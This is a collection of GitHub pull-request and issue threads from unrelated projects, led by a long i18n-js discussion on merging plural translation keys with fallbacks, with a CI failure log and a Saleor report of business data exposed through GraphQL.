Fix merging of plural keys to work with fallbacks that aren't overridden

https://github.com/fnando/i18n-js/pull/472 added a regression when using fallbacks, this PR fixes it.

Pull Request Test Coverage Report for Build 627

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.004%) to 67.945%

Totals

Change from base Build 626:
0.004%

Covered Lines:
6999

Relevant Lines:
10301

💛  - Coveralls

Pull Request Test Coverage Report for Build 627

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.004%) to 67.945%

Totals

Change from base Build 626:
0.004%

Covered Lines:
6999

Relevant Lines:
10301

💛  - Coveralls

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 978d6700-ef66-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: a373d1d0-ef66-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: a8e085a0-ef66-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: ab9915f0-ef66-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: aca4e0a0-ef66-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: c984d860-ef66-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: d064cb40-ef66-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: dbcf0130-ef66-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: de0ac060-ef66-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: df558fe0-ef66-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: f6c26b30-ef66-11e9-a922-b7efe53f32d4

@ghiculescu I don't see why you'd do this. Different locales can have different keys within a pluralized key, and many languages don't use plurals at all. For example:
en:
  cat:
    one: Cat
    other: Cats

ru:
  cat:
    one: кот
    few: кошек
    many: кошка
    other: кошек

ja:
  cat: ねこ

You would not want to merge the "few" and "many" from Russian into English.

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 04b08ce0-ef67-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 10d909c0-ef67-11e9-a922-b7efe53f32d4

@johnnyshields a better example would be:
en:
  cat:
    one: Cat
    other: Cats

en-US:
  cat:
    one:
    other:

One of the benefits of I18n fallbacks is you don't have to translate things that don't change across dialect.

@johnnyshields https://github.com/fnando/i18n-js/pull/551/commits/42571dd92f576ac170fc78504056a57c9ddeb067 should get this working for both your use case and mine.

Travis tests have failed
Hey @ghiculescu,
Please read the following log in order to understand the failure reason.
It'll be awesome if you fix what's wrong and commit the changes.
Ruby: 2.4
View build log

     rake

Using bundler 1.17.3
Using concurrent-ruby 1.1.5
Using json 2.2.0
Using thor 0.20.3
Using simplecov-html 0.10.2
Using tins 1.21.1
Using diff-lcs 1.3
Using gem-release 2.0.4
Using rspec-support 3.9.0
Using i18n 1.7.0
Using docile 1.3.2
Using appraisal 2.2.0
Using simplecov 0.16.1
Using term-ansicolor 1.7.1
Using i18n-js 3.4.0 from source at `../`
Using rspec-core 3.9.0
Using rspec-expectations 3.9.0
Using rspec-mocks 3.9.0
Using coveralls 0.8.23
Using rspec 3.9.0
Bundle complete! 7 Gemfile dependencies, 21 gems now installed.
Bundled gems are installed into `./gemfiles/vendor/bundle`
travis_time:end:0212d190:start=1571158546516916984,finish=1571158549390488729,duration=2873571745,event=install
travis_fold:end:install.bundler

travis_time:start:3049bd95
$ bundle exec rake
/home/travis/.rvm/rubies/ruby-2.4.6/bin/ruby -I/home/travis/build/fnando/i18n-js/gemfiles/vendor/bundle/ruby/2.4.0/gems/rspec-core-3.9.0/lib:/home/travis/build/fnando/i18n-js/gemfiles/vendor/bundle/ruby/2.4.0/gems/rspec-support-3.9.0/lib /home/travis/build/fnando/i18n-js/gemfiles/vendor/bundle/ruby/2.4.0/gems/rspec-core-3.9.0/exe/rspec --pattern spec/\*\*\{,/\*/\*\*\}/\*_spec.rb
[Coveralls] Set up the SimpleCov formatter.
[Coveralls] Using SimpleCov's 'rails' settings.
..................................................................FF..FFF.........................F...F

Failures:

  1) I18n::JS fallbacks exports with default_locale as fallback when enabled
     Failure/Error: v2.merge(v1, &PLURAL_MERGER).slice(*v2.keys)

     NoMethodError:
       undefined method `slice' for {:one=>"Apple", :other=>"Apples"}:Hash
     # ./lib/i18n/js/utils.rb:18:in `block in <module:Utils>'
     # ./lib/i18n/js/utils.rb:35:in `merge'
     # ./lib/i18n/js/utils.rb:35:in `deep_merge'
     # ./lib/i18n/js.rb:85:in `block (2 levels) in merge_with_fallbacks!'
     # ./lib/i18n/js/fallback_locales.rb:12:in `block in each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js.rb:83:in `block in merge_with_fallbacks!'
     # ./lib/i18n/js.rb:81:in `each'
     # ./lib/i18n/js.rb:81:in `merge_with_fallbacks!'
     # ./lib/i18n/js.rb:65:in `block in configured_segments'
     # ./lib/i18n/js.rb:57:in `each'
     # ./lib/i18n/js.rb:57:in `inject'
     # ./lib/i18n/js.rb:57:in `configured_segments'
     # ./lib/i18n/js.rb:102:in `translation_segments'
     # ./spec/ruby/i18n/js_spec.rb:279:in `block (3 levels) in <top (required)>'
     # ./spec/ruby/i18n/js_spec.rb:291:in `block (3 levels) in <top (required)>'

  2) I18n::JS fallbacks exports with default_locale as fallback when enabled with :default_locale
     Failure/Error: v2.merge(v1, &PLURAL_MERGER).slice(*v2.keys)

     NoMethodError:
       undefined method `slice' for {:one=>"Apple", :other=>"Apples"}:Hash
     # ./lib/i18n/js/utils.rb:18:in `block in <module:Utils>'
     # ./lib/i18n/js/utils.rb:35:in `merge'
     # ./lib/i18n/js/utils.rb:35:in `deep_merge'
     # ./lib/i18n/js.rb:85:in `block (2 levels) in merge_with_fallbacks!'
     # ./lib/i18n/js/fallback_locales.rb:12:in `block in each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js.rb:83:in `block in merge_with_fallbacks!'
     # ./lib/i18n/js.rb:81:in `each'
     # ./lib/i18n/js.rb:81:in `merge_with_fallbacks!'
     # ./lib/i18n/js.rb:65:in `block in configured_segments'
     # ./lib/i18n/js.rb:57:in `each'
     # ./lib/i18n/js.rb:57:in `inject'
     # ./lib/i18n/js.rb:57:in `configured_segments'
     # ./lib/i18n/js.rb:102:in `translation_segments'
     # ./spec/ruby/i18n/js_spec.rb:279:in `block (3 levels) in <top (required)>'
     # ./spec/ruby/i18n/js_spec.rb:298:in `block (3 levels) in <top (required)>'

  3) I18n::JS fallbacks with I18n::Fallbacks enabled exports with defined locale as fallback when enabled
     Failure/Error: v2.merge(v1, &PLURAL_MERGER).slice(*v2.keys)

     NoMethodError:
       undefined method `slice' for {:one=>"Apple", :other=>"Apples"}:Hash
     # ./lib/i18n/js/utils.rb:18:in `block in <module:Utils>'
     # ./lib/i18n/js/utils.rb:35:in `merge'
     # ./lib/i18n/js/utils.rb:35:in `deep_merge'
     # ./lib/i18n/js.rb:85:in `block (2 levels) in merge_with_fallbacks!'
     # ./lib/i18n/js/fallback_locales.rb:12:in `block in each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js.rb:83:in `block in merge_with_fallbacks!'
     # ./lib/i18n/js.rb:81:in `each'
     # ./lib/i18n/js.rb:81:in `merge_with_fallbacks!'
     # ./lib/i18n/js.rb:65:in `block in configured_segments'
     # ./lib/i18n/js.rb:57:in `each'
     # ./lib/i18n/js.rb:57:in `inject'
     # ./lib/i18n/js.rb:57:in `configured_segments'
     # ./lib/i18n/js.rb:102:in `translation_segments'
     # ./spec/ruby/i18n/js_spec.rb:279:in `block (3 levels) in <top (required)>'
     # ./spec/ruby/i18n/js_spec.rb:339:in `block (4 levels) in <top (required)>'

  4) I18n::JS fallbacks with I18n::Fallbacks enabled exports with defined locale as fallback when enabled with :default_locale
     Failure/Error: v2.merge(v1, &PLURAL_MERGER).slice(*v2.keys)

     NoMethodError:
       undefined method `slice' for {:one=>"Apple", :other=>"Apples"}:Hash
     # ./lib/i18n/js/utils.rb:18:in `block in <module:Utils>'
     # ./lib/i18n/js/utils.rb:35:in `merge'
     # ./lib/i18n/js/utils.rb:35:in `deep_merge'
     # ./lib/i18n/js.rb:85:in `block (2 levels) in merge_with_fallbacks!'
     # ./lib/i18n/js/fallback_locales.rb:12:in `block in each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js.rb:83:in `block in merge_with_fallbacks!'
     # ./lib/i18n/js.rb:81:in `each'
     # ./lib/i18n/js.rb:81:in `merge_with_fallbacks!'
     # ./lib/i18n/js.rb:65:in `block in configured_segments'
     # ./lib/i18n/js.rb:57:in `each'
     # ./lib/i18n/js.rb:57:in `inject'
     # ./lib/i18n/js.rb:57:in `configured_segments'
     # ./lib/i18n/js.rb:102:in `translation_segments'
     # ./spec/ruby/i18n/js_spec.rb:279:in `block (3 levels) in <top (required)>'
     # ./spec/ruby/i18n/js_spec.rb:344:in `block (4 levels) in <top (required)>'

  5) I18n::JS fallbacks with I18n::Fallbacks enabled exports with Fallbacks as Hash
     Failure/Error: v2.merge(v1, &PLURAL_MERGER).slice(*v2.keys)

     NoMethodError:
       undefined method `slice' for {:one=>"Apple", :other=>"Apples"}:Hash
     # ./lib/i18n/js/utils.rb:18:in `block in <module:Utils>'
     # ./lib/i18n/js/utils.rb:35:in `merge'
     # ./lib/i18n/js/utils.rb:35:in `deep_merge'
     # ./lib/i18n/js.rb:85:in `block (2 levels) in merge_with_fallbacks!'
     # ./lib/i18n/js/fallback_locales.rb:12:in `block in each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js.rb:83:in `block in merge_with_fallbacks!'
     # ./lib/i18n/js.rb:81:in `each'
     # ./lib/i18n/js.rb:81:in `merge_with_fallbacks!'
     # ./lib/i18n/js.rb:65:in `block in configured_segments'
     # ./lib/i18n/js.rb:57:in `each'
     # ./lib/i18n/js.rb:57:in `inject'
     # ./lib/i18n/js.rb:57:in `configured_segments'
     # ./lib/i18n/js.rb:102:in `translation_segments'
     # ./spec/ruby/i18n/js_spec.rb:279:in `block (3 levels) in <top (required)>'
     # ./spec/ruby/i18n/js_spec.rb:349:in `block (4 levels) in <top (required)>'

  6) I18n::JS translation key sorting exporting sort_translation_keys is true exports with the keys sorted
     Failure/Error: v2.merge(v1, &PLURAL_MERGER).slice(*v2.keys)

     NoMethodError:
       undefined method `slice' for {:one=>"Apple", :other=>"Apples"}:Hash
     # ./lib/i18n/js/utils.rb:18:in `block in <module:Utils>'
     # ./lib/i18n/js/utils.rb:35:in `merge'
     # ./lib/i18n/js/utils.rb:35:in `deep_merge'
     # ./lib/i18n/js.rb:85:in `block (2 levels) in merge_with_fallbacks!'
     # ./lib/i18n/js/fallback_locales.rb:12:in `block in each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js.rb:83:in `block in merge_with_fallbacks!'
     # ./lib/i18n/js.rb:81:in `each'
     # ./lib/i18n/js.rb:81:in `merge_with_fallbacks!'
     # ./lib/i18n/js.rb:65:in `block in configured_segments'
     # ./lib/i18n/js.rb:57:in `each'
     # ./lib/i18n/js.rb:57:in `inject'
     # ./lib/i18n/js.rb:57:in `configured_segments'
     # ./lib/i18n/js.rb:102:in `translation_segments'
     # ./lib/i18n/js.rb:45:in `export'
     # ./spec/ruby/i18n/js_spec.rb:584:in `block (4 levels) in <top (required)>'
     # ./spec/ruby/i18n/js_spec.rb:599:in `block (5 levels) in <top (required)>'

  7) I18n::JS merging plural keys, with fallbacks should correctly merge the plural keys
     Failure/Error: v2.merge(v1, &PLURAL_MERGER).slice(*v2.keys)

     NoMethodError:
       undefined method `slice' for {:zero=>"No Apple", :one=>"Apple", :other=>"Apples"}:Hash
     # ./lib/i18n/js/utils.rb:18:in `block in <module:Utils>'
     # ./lib/i18n/js/utils.rb:35:in `merge'
     # ./lib/i18n/js/utils.rb:35:in `deep_merge'
     # ./lib/i18n/js.rb:85:in `block (2 levels) in merge_with_fallbacks!'
     # ./lib/i18n/js/fallback_locales.rb:12:in `block in each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js/fallback_locales.rb:12:in `each'
     # ./lib/i18n/js.rb:83:in `block in merge_with_fallbacks!'
     # ./lib/i18n/js.rb:81:in `each'
     # ./lib/i18n/js.rb:81:in `merge_with_fallbacks!'
     # ./lib/i18n/js.rb:65:in `block in configured_segments'
     # ./lib/i18n/js.rb:57:in `each'
     # ./lib/i18n/js.rb:57:in `inject'
     # ./lib/i18n/js.rb:57:in `configured_segments'
     # ./lib/i18n/js.rb:102:in `translation_segments'
     # ./lib/i18n/js.rb:45:in `export'
     # ./spec/ruby/i18n/js_spec.rb:676:in `block (3 levels) in <top (required)>'

Finished in 0.30075 seconds (files took 0.25531 seconds to load)
103 examples, 7 failures

Failed examples:

rspec ./spec/ruby/i18n/js_spec.rb:289 # I18n::JS fallbacks exports with default_locale as fallback when enabled
rspec ./spec/ruby/i18n/js_spec.rb:296 # I18n::JS fallbacks exports with default_locale as fallback when enabled with :default_locale
rspec ./spec/ruby/i18n/js_spec.rb:337 # I18n::JS fallbacks with I18n::Fallbacks enabled exports with defined locale as fallback when enabled
rspec ./spec/ruby/i18n/js_spec.rb:342 # I18n::JS fallbacks with I18n::Fallbacks enabled exports with defined locale as fallback when enabled with :default_locale
rspec ./spec/ruby/i18n/js_spec.rb:347 # I18n::JS fallbacks with I18n::Fallbacks enabled exports with Fallbacks as Hash
rspec ./spec/ruby/i18n/js_spec.rb:598 # I18n::JS translation key sorting exporting sort_translation_keys is true exports with the keys sorted
rspec ./spec/ruby/i18n/js_spec.rb:674 # I18n::JS merging plural keys, with fallbacks should correctly merge the plural keys

[Coveralls] Submitting to https://coveralls.io/api/v1
[Coveralls] Job #628.24
[Coveralls] https://coveralls.io/jobs/54440093
Coverage is at 68.13%.
Coverage report sent to Coveralls.
/home/travis/.rvm/rubies/ruby-2.4.6/bin/ruby -I/home/travis/build/fnando/i18n-js/gemfiles/vendor/bundle/ruby/2.4.0/gems/rspec-core-3.9.0/lib:/home/travis/build/fnando/i18n-js/gemfiles/vendor/bundle/ruby/2.4.0/gems/rspec-support-3.9.0/lib /home/travis/build/fnando/i18n-js/gemfiles/vendor/bundle/ruby/2.4.0/gems/rspec-core-3.9.0/exe/rspec --pattern spec/\*\*\{,/\*/\*\*\}/\*_spec.rb failed
travis_time:end:3049bd95:start=1571158549396118996,finish=1571158551582485414,duration=2186366418,event=
The command "bundle exec rake" exited with 1.
travis_fold:start:cache.2
store build cache
$ bundle clean
travis_time:start:02866c9c
travis_time:end:02866c9c:start=1571158551825017712,finish=1571158551829355541,duration=4337829,event=cache
travis_time:start:09a75f1a
nothing changed
travis_time:end:09a75f1a:start=1571158551834677899,finish=1571158553077197077,duration=1242519178,event=cache
travis_fold:end:cache.2

Done. Your build exited with 1.

TravisBuddy Request Identifier: 915c74a0-ef6d-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 2fb6cc50-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 373f0d20-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 469d87b0-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 54c33420-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 56c9d990-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 5d652250-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 6d1da3c0-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 72ff3970-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 83a26900-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 889272c0-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 89eb7310-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: a0036cc0-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: a18f8b00-ef72-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 5318a680-ef74-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 5e703ed0-ef74-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 5fb65360-ef74-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 67334990-ef74-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 69ec00f0-ef74-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 831902d0-ef74-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 90fdd5b0-ef74-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: 99f8e060-ef74-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: a0ba4ec0-ef74-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: b6b21640-ef74-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: c0166a10-ef74-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: c4e53030-ef74-11e9-a922-b7efe53f32d4

Hey @ghiculescu,
Your changes look good to me!
View build log
TravisBuddy Request Identifier: c9c5a990-ef74-11e9-a922-b7efe53f32d4

I disagree with this PR. Merging should not happen in the child keys of a plural (one, many, etc.). The plural parent key (e.g. cat) should be atomic with respect to it's child nodes.
You should simply correct your translations files. This PR is going to break many people's translations, including mine.

@PikachuEXE can you please remove "Travis Buddy" from this repo? It is a major annoyance.

@ghiculescu in this case, just leave cat blank like this:
en:
  dog: Dog
  cat:
    one: Cat
    other: Cats

en-US:
  dog: Dog

@johnnyshields I'm not sure what translation CMS you use, but that's not possible with https://github.com/translation/rails - for non-default locales it generates a file with all keys, and just lots of blank values. I don't think that's an unreasonable way to work. Happy to fix any other test cases you can come up with; my most recent commit fixed the original issues you raised.

As far as I can tell, what I'm proposing is also how the ruby/rails i18n gem works: https://github.com/ruby-i18n/i18n/pull/495 (not to mention, is how this gem used to work).

@johnnyshields
Updated its mode to be less noisy
https://github.com/fnando/i18n-js/commit/d209e3362c4c05ca137c11ab63cc503a2f61062b
If it spam again I will remove it

@ghiculescu https://github.com/ghiculescu I can agree to the case that if
all the child nodes in a locale are blank it is ok to fallback to the child
nodes of another locale. For example:
en: cat: one: Cat other: Cats

en-US:
  cat:
    one:    few:
    many:
    other:

This should generate:
en-US:

cat: one: Cat other: Cats

On Thu, Oct 17, 2019 at 1:12 AM Alex Ghiculescu<EMAIL_ADDRESS>wrote:

> @ghiculescu <https://github.com/ghiculescu> in this case, just leave cat
> blank like this:
>
> en:
>   dog: Dog
>   cat:
>     one: Cat
>     other: Cats
>
> en-US:
>   dog: Dog
>
> @johnnyshields <https://github.com/johnnyshields> I'm not sure what
> translation CMS you use, but that's not possible with
> https://github.com/translation/rails - for non-default locales it
> generates a file with all keys, and just lots of blank values. I don't
> think that's an unreasonable way to work. Happy to fix any other test cases
> you can come up with; my most recent commit fixed the original issues you
> raised.
>
> —
> You are receiving this because you were mentioned.
> Reply to this email directly, view it on GitHub
> <https://github.com/fnando/i18n-js/pull/551?email_source=notifications&email_token=AAAGYB6DZSFLRHN4GPKKF53QO44O7A5CNFSM4JA6W7T2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEBNCEXQ#issuecomment-542777950>,
> or unsubscribe
> <https://github.com/notifications/unsubscribe-auth/AAAGYB3ZQP2WNTILX67RFU3QO44O7ANCNFSM4JA6W7TQ>
> .
>

--
---

*John Shields*
Co-Founder & Chief Technology Officer
[image: TableCheck] <https://corp.tablecheck.com/>
[image: Loction Icon] 104-0061 Dai 27 Chuo Bldg 4F, Ginza 2-14-5, Chuo-ku,
Tokyo <https://goo.gl/maps/G4PyDSZE8s32>
[image: Phone Icon] +81 (0)80 3519-5647 <+818035195647>
[image: Web Icon]<EMAIL_ADDRESS>[image: TableSolution] <https://www.tablesolution.com/>

@johnnyshields yep, i'm pretty sure that's what's happening here.

Can you make a test case which proves that? Then PR is good.

I'm using it to render I18n keys into a variety of different JSON / JS formats across 18 different languages, and I currently have it configured so that every locale falls back to every other locale. Your change would cause plural child-keys from languages from Russian or Arabic to bleed into English, for example.
What is your use case for having case 2 doing how you proposed? From what you said previously it seems you only need case 1 (all child keys empty)

Your change would cause plural child-keys from languages from Russian or Arabic to bleed into English, for example.

I don't think it would. See https://github.com/fnando/i18n-js/pull/551/files#diff-477438a2bf3852e21aa43e9ce9953754R686 - the ru keys are returned, not the en ones.

What is your use case for having case 2 doing how you proposed? From what you said previously it seems you only need case 1 (all child keys empty)

I'm concerned about compatibility with i18n because we use both (some views are server-side rendered, some are client-side rendered, all are translated across 10 languages). If the two gems behave differently, we need to change our testing practices to be much more careful.

OK. I think I understand the change now. The key is only copied if the child exists in the target locale AND that child is empty.
This is counter-intuitive to me but no issue for my specific app. I am curious whether it might affect other users, but if this is how Rails I18n works I guess it's ok.

Thanks for bearing with me. @PikachuEXE any objections from your end?

Can we confirm that's how ruby/rails I18n works?
Any reference?

Yep: https://github.com/ruby-i18n/i18n/pull/495

I will wait until they confirm the behaviour is intended (not a bug)

@PikachuEXE they have confirmed it. https://github.com/ruby-i18n/i18n/pull/495

Release in 3.4.1


[Utility] Added thread safety to Process.

https://bugs.swift.org/browse/SR-3625

@aciidb0mb3r I seem to have broken ProcessSetTests. I've been investigating but can't seem to determine the exact cause, are you able to advise ?
I believe waitUntilExit is preventing the ProcessSet termination because waitpid is causing it to block.

@aciidb0mb3r Thanks for the comments, can I ask for a review again 😄

@swift-ci please test and merge

@swift-ci please test and merge


Issues reported by SonarQube in autogenerated files

I thought it might be better I report the SonarQube issues and you can decide their validity and what to do about them.
These are not that severe, but since they are in the autogenerated files they do come up quite often in pull requests.
Header files
Schema header:

Object header

Why replace the final with override:
The class is already final, so no need to declare the functions as final:

Source files:
Schema source

Object source
The bug one I already mentioned earlier. It is also saying that the result is unused, not sure why, might be a false positive.

I think I fixed all of these, except for that last one that looked like a false positive.

Very nice update, thanks 🙂


Language detection

It'd be cool if we could auto-magically detect the language if one hasn't manually been set to allow the plugins to work better and give more detail within the results.

Hi, @NoelDavies, thanks for the suggestion! Plugins now have access to the language used by a Knwl.js instance. It's not automatic yet, but plugins can use this to target specific languages.


About File .vue

Unable to function properly in VUE

The vue comes in four programming languages
javascript,typescript,html,css,and css kid

The vue comes in four programming languages
javascript,typescript,html,css,and css kid

I'm not exactly sure what you are saying is the problem here. I'm guessing this is yet another instance of #17. If that's not what you need for this, perhaps this is similar to the React snafu where canonical VIM filetype setting isn't what you are using? (see #393 and various linked issues)

I'm not exactly sure what you are saying is the problem here. I'm guessing this is yet another instance of #17. If that's not what you need for this, perhaps this is similar to the React snafu where canonical VIM filetype setting isn't what you are using? (see #393 and various linked issues)


User status is not updated

What version of gotd are you using?

github.com/gotd/td v0.39.1

Does this issue reproduce with the latest release?
Yes
What did you do?
for range time.Tick(time.Second) {
	if status, ok := user.GetStatus(); ok {  // user - *tg.User
		fmt.Println(status.TypeName())
	}
}

What did you expect to see?
I would like to see the status change
What did you see instead?
the user's status does not change, the status remains the same as it was when the variable user was initialized
What Go version and environment are you using?

go1.16.4 windows/amd64

go env Output
set GO111MODULE=on
set GOARCH=amd64
set GOBIN=
set GOCACHE=C:\Users\Артем\AppData\Local\go-build
set GOENV=C:\Users\Артем\AppData\Roaming\go\env
set GOEXE=.exe
set GOFLAGS=
set GOHOSTARCH=amd64
set GOHOSTOS=windows
set GOINSECURE=
set GOMODCACHE=C:\Users\Артем\go\pkg\mod
set GONOPROXY=
set GONOSUMDB=
set GOOS=windows
set GOPATH=C:\Users\Артем\go
set GOPRIVATE=
set GOPROXY=https://proxy.golang.org,direct
set GOROOT=C:\Users\Артем\go\go1.16.4
set GOSUMDB=sum.golang.org
set GOTMPDIR=
set GOTOOLDIR=C:\Users\Артем\go\go1.16.4\pkg\tool\windows_amd64
set GOVCS=
set GOVERSION=go1.16.4
set GCCGO=gccgo
set AR=ar
set CC=gcc
set CXX=g++
set CGO_ENABLED=1
set GOMOD=C:\GoProject\telegramScheduleSendMsg\go.mod
set CGO_CFLAGS=-g -O2
set CGO_CPPFLAGS=
set CGO_CXXFLAGS=-g -O2
set CGO_FFLAGS=-g -O2
set CGO_LDFLAGS=-g -O2
set PKG_CONFIG=pkg-config
set GOG

closed it. This is implemented in dispatcher.OnUserStatus


buffer_menu -- missing "clear" option

some users have reported that the "clear" option in the buffer_menu [umenu] is missing.  I do remember this button existing at one point & think it would be helpful to bring back

this is done, it will be available in next release


SELECT foo AS bar ... support,

mentioned in https://github.com/gluesql/gluesql/issues/80
SELECT id AS SOMEALIASCOLUMNNAME, num FROM Test

Current blend.rs is not handling AS.
Simple fix, blend does not need to work on AS at all, just ignore AS and simply evaluate column expression.

Seems to having a solution in blend.rs as said above.
On both indents and expressions
SELECT ingredientid,ingredientid+2000 as PLUS2000 FROM ingredient
WHERE energy > 500
ORDER BY 1;

ingredientid    PLUS2000
15      2015
46      2046
128     2128
181     2181
253     2253

SELECT ingredientid AS NEWCOLNAME
FROM   ingredient
WHERE  ingredientname = 'mjölk';

NEWCOLNAME
169


[ECR-2914] Implemented get transaction endpoint support

Overview

See: https://jira.bf.local/browse/ECR-2914
Definition of Done

[ ] There are no TODOs left in the code
[ ] Change is covered by automated tests
[ ] The coding guidelines are followed
[ ] Public API has Javadoc
[ ] Method preconditions are checked and documented in the Javadoc of the method
[ ] Changelog is updated if needed (in case of notable or breaking changes)
[ ] The continuous integration build passes

replaced by #725


redirect to lecture2gether room when it is entered

This also cleans up some URL logic and closes #13

@timonegk Looks good to me but you would need to rebase the commits from master so that we can merge this

ping @timonegk

@timonegk should I do it instead?

Yes, that'd be great.


[Enhancement]

Description
The navbar component lacks the "static" in its current implementation. I believe adding the "static" to the navbar can improve its behavior and provide a better user experience.
Screenshots

Do you want to work on this issue?
Yes
Additional information
In the current implementation of the navbar, it doesn't have the "static" assigned.  Adding the "static" keyword will ensure that the navbar remains fixed at the top of the page, enhancing navigation and usability.

Thank you for raising, but as we will be going through a redesign process shortly this will likely be covered then, so I will close this issue for now

Oh, that is great. Thank you for the feedback.


Sensitive data exposed via Graphql

By default Saleor exposes sensitive business information like:
ProductVariant {
quantity: Int!
quantityAllocated: Int!
costPrice: Money
stockQuantity: Int!
margin: Int
quantityOrdered: Int
revenue(...): TaxedMoney
}
I hope nobody is running Saleor out there with theses fields exposed to public.

Thanks for reporting. Some of these fields are used by the management dashboard and should be available only to authenticated users with proper permissions. I see that some of them are missing those permissions checks. They will remain in the public schema, but shouldn't be accessible by unauthorized users.

@maarcingebala I think it would be important to inform current shop owners about this.
Also looks like it is a design flaw since there is no field "inStock" for variants.
At the moment only way the storefront can tell if something is in stock is by reading the public stock property.
This is quite a serious issue for anyone running Saleor in production.

Fix has been merged to master and released in Saleor 2.3.1 version.

Looks like #3773 doesn't cover the stock quantity

I don't consider stock quantity to be as sensitive as financial data, I think it depends more on the use-case. Also, it seems that this field is currently used by Storefront 2.0. I'd like to discuss if we should restrict this field to privileged users or expose a boolean flag inStock instead. Another idea is to limit the maximal value that we show to unauthorized users to some arbitrary value.

I don't consider stock quantity to be as sensitive as financial data, I think it depends more on the use-case.

@maarcingebala If you multiply stock by price you can easily track the revenue. It is almost the same as exposing revenue. The only noise in data would be stock transfers, which is also not hard to account for.

Another idea is to limit the maximal value that we show to unauthorized users to some arbitrary value.

